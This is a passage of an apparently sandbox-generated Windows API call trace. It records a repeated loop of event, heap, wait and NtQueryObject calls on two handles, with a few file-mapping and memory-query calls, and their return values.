(hFile=0x1c8) returned 0x0 [0259.168] ResetEvent (hEvent=0x110) returned 1 [0259.168] SetEvent (hEvent=0x114) returned 1 [0259.168] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.168] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.168] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.168] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.169] ResetEvent (hEvent=0x110) returned 1 [0259.169] SetEvent (hEvent=0x114) returned 1 [0259.169] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.169] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.169] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.169] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.169] ResetEvent (hEvent=0x110) returned 1 [0259.169] SetEvent (hEvent=0x114) returned 1 [0259.170] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.170] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.170] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.170] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.170] ResetEvent (hEvent=0x110) returned 1 [0259.170] SetEvent (hEvent=0x114) returned 1 [0259.170] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.170] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.170] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.170] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.170] ResetEvent (hEvent=0x110) returned 1 [0259.171] SetEvent (hEvent=0x114) returned 1 [0259.171] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.171] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.171] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.171] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.171] MapViewOfFile (hFileMappingObject=0x1c8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.171] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.171] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.171] ResetEvent (hEvent=0x110) returned 1 [0259.172] SetEvent (hEvent=0x114) returned 1 [0259.172] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.172] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.172] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.172] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.172] ResetEvent (hEvent=0x110) returned 1 [0259.172] SetEvent (hEvent=0x114) returned 1 [0259.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.173] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.173] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.173] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.173] ResetEvent (hEvent=0x110) returned 1 [0259.173] SetEvent (hEvent=0x114) returned 1 [0259.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.173] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.173] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.173] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.173] ResetEvent (hEvent=0x110) returned 1 [0259.173] SetEvent (hEvent=0x114) returned 1 [0259.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.174] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.174] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.174] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.174] ResetEvent (hEvent=0x110) returned 1 [0259.174] SetEvent (hEvent=0x114) returned 1 [0259.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.175] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.175] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.175] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.175] ResetEvent (hEvent=0x110) returned 1 [0259.175] SetEvent (hEvent=0x114) returned 1 [0259.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.175] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.175] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.176] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.176] ResetEvent (hEvent=0x110) returned 1 [0259.176] SetEvent (hEvent=0x114) returned 1 [0259.176] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.176] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.176] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.176] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.176] ResetEvent (hEvent=0x110) returned 1 [0259.176] SetEvent (hEvent=0x114) returned 1 [0259.177] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.177] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.177] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.177] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.177] ResetEvent (hEvent=0x110) returned 1 [0259.177] SetEvent (hEvent=0x114) returned 1 [0259.177] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.177] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.177] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.177] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.177] ResetEvent (hEvent=0x110) returned 1 [0259.178] SetEvent (hEvent=0x114) returned 1 [0259.178] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.178] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.178] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.178] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.178] ResetEvent (hEvent=0x110) returned 1 [0259.178] SetEvent (hEvent=0x114) returned 1 [0259.179] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.179] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.179] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.179] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.179] ResetEvent (hEvent=0x110) returned 1 [0259.179] SetEvent (hEvent=0x114) returned 1 [0259.179] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.179] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.179] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.179] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.180] ResetEvent (hEvent=0x110) returned 1 [0259.180] SetEvent (hEvent=0x114) returned 1 [0259.180] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.180] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.180] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.180] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.180] ResetEvent (hEvent=0x110) returned 1 [0259.180] SetEvent (hEvent=0x114) returned 1 [0259.181] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.181] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.181] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.181] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.181] ResetEvent (hEvent=0x110) returned 1 [0259.181] SetEvent (hEvent=0x114) returned 1 [0259.182] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.182] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.182] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.182] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.182] ResetEvent (hEvent=0x110) returned 1 [0259.182] SetEvent (hEvent=0x114) returned 1 [0259.182] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.182] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.182] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.182] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.183] ResetEvent (hEvent=0x110) returned 1 [0259.183] SetEvent (hEvent=0x114) returned 1 [0259.183] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.183] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.183] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.183] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.183] ResetEvent (hEvent=0x110) returned 1 [0259.183] SetEvent (hEvent=0x114) returned 1 [0259.184] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.184] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.184] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.184] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.184] ResetEvent (hEvent=0x110) returned 1 [0259.184] SetEvent (hEvent=0x114) returned 1 [0259.184] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.184] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.184] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.184] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.184] ResetEvent (hEvent=0x110) returned 1 [0259.184] SetEvent (hEvent=0x114) returned 1 [0259.185] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.185] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.185] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.185] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.185] ResetEvent (hEvent=0x110) returned 1 [0259.185] SetEvent (hEvent=0x114) returned 1 [0259.186] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.186] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.186] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.186] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.186] ResetEvent (hEvent=0x110) returned 1 [0259.186] SetEvent (hEvent=0x114) returned 1 [0259.186] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.186] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.186] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.186] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.186] MapViewOfFile (hFileMappingObject=0x1c4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.186] ResetEvent (hEvent=0x110) returned 1 [0259.186] SetEvent (hEvent=0x114) returned 1 [0259.187] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.187] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.187] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.187] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.187] ResetEvent (hEvent=0x110) returned 1 [0259.187] SetEvent (hEvent=0x114) returned 1 [0259.187] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.188] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.188] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.188] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.188] ResetEvent (hEvent=0x110) returned 1 [0259.188] SetEvent (hEvent=0x114) returned 1 [0259.188] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.188] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.188] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.188] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.188] ResetEvent (hEvent=0x110) returned 1 [0259.188] SetEvent (hEvent=0x114) returned 1 [0259.189] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.189] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.189] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.189] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.189] ResetEvent (hEvent=0x110) returned 1 [0259.189] SetEvent (hEvent=0x114) returned 1 [0259.189] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.189] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.190] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.190] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.190] ResetEvent (hEvent=0x110) returned 1 [0259.190] SetEvent (hEvent=0x114) returned 1 [0259.190] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.190] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.190] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.190] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.190] ResetEvent (hEvent=0x110) returned 1 [0259.190] SetEvent (hEvent=0x114) returned 1 [0259.193] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.193] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.194] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.194] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.194] ResetEvent (hEvent=0x110) returned 1 [0259.194] SetEvent (hEvent=0x114) returned 1 [0259.194] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.194] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.194] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.194] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.194] ResetEvent (hEvent=0x110) returned 1 [0259.194] SetEvent (hEvent=0x114) returned 1 [0259.195] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.195] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.195] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.195] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.195] ResetEvent (hEvent=0x110) returned 1 [0259.195] SetEvent (hEvent=0x114) returned 1 [0259.195] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.195] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.195] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.196] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.196] ResetEvent (hEvent=0x110) returned 1 [0259.196] SetEvent (hEvent=0x114) returned 1 [0259.196] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.196] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.196] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.196] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.196] ResetEvent (hEvent=0x110) returned 1 [0259.196] SetEvent (hEvent=0x114) returned 1 [0259.197] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.197] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.197] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.197] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.197] ResetEvent (hEvent=0x110) returned 1 [0259.197] SetEvent (hEvent=0x114) returned 1 [0259.197] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.197] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.197] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.197] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, 